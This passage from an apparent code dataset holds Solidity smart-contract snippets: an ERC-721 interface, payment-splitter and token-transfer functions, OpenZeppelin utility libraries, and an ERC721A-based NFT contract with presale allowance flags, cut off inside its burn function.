file_name
stringlengths 71
779k
| comments
stringlengths 0
29.4k
| code_string
stringlengths 20
7.69M
| __index_level_0__
int64 2
17.2M
|
---|---|---|---|
./full_match/4/0xe3FC9fEf0Cc5C545693858072F47534889Cbc3B8/sources/contracts/2_Owner.sol | ERC-721 Non-Fungible Token Standard, optional enumeration extension/ | interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
}
| 705,049 |
./full_match/1/0xD58868004D5aac1FD0Da76D3b553aB2ed5354385/sources/contracts/PaymentSplitterEP.sol | Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 contract./ _erc20TotalReleased[token] is the sum of all values in _erc20Released[token]. If "_erc20TotalReleased[token] += payment" does not overflow, then "_erc20Released[token][account] += payment" cannot overflow. | function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 payment = releasable(token, account);
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20TotalReleased[token] += payment;
unchecked {
_erc20Released[token][account] += payment;
}
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
| 9,708,790 |
./full_match/1/0x316DE382C965395aD63da4CEcf2A760d0daBf426/sources/src/Lootto.sol | Cannot overflow because the sum of all user balances can't exceed the max uint224 value. taxAmount is always less than amount | function transfer(address to, uint256 amount) public returns (bool) {
balanceOf[msg.sender] -= amount;
if (!isAddressExcluded[msg.sender]) {
amount = _processEmotionalDamage(amount);
if (MAX_BUY_END_TIME == 0) revert TradingNotEnabled();
}
unchecked {
uint256 newAmount = amount + balanceOf[to];
if (!isAddressExcluded[to]) {
_revertOnMaxBuyExceeded(newAmount);
}
balanceOf[to] = newAmount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
| 8,375,414 |
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/ERC721DEYE.sol
// Author: Mas C. (Project Dark Eye)
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* This implementation is forked from ERC721A (https://github.com/chiru-labs/ERC721A).
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721DEYE is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// If the address is allowed in presale one.
bool presaleOneAllowed;
// If the address is allowed in presale two.
bool presaleTwoAllowed;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns if the address is allowed to mint at each stage.
*/
function _getMintAllowance(address owner) internal view returns (bool, bool) {
return (_addressData[owner].presaleOneAllowed, _addressData[owner].presaleTwoAllowed);
}
/**
* Sets if the address is allowed to mint at each stage.
*/
function _setMintAllowance(address owner, bool presaleOneAllowed, bool presaleTwoAllowed) internal {
_addressData[owner].presaleOneAllowed = presaleOneAllowed;
_addressData[owner].presaleTwoAllowed = presaleTwoAllowed;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721DEYE.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = to;
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev This is equivalent to _burn(tokenId, false)
*/
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
address from = prevOwnership.addr;
if (approvalCheck) {
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
AddressData storage addressData = _addressData[from];
addressData.balance -= 1;
addressData.numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = from;
currSlot.burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
}
}
}
emit Transfer(from, address(0), tokenId);
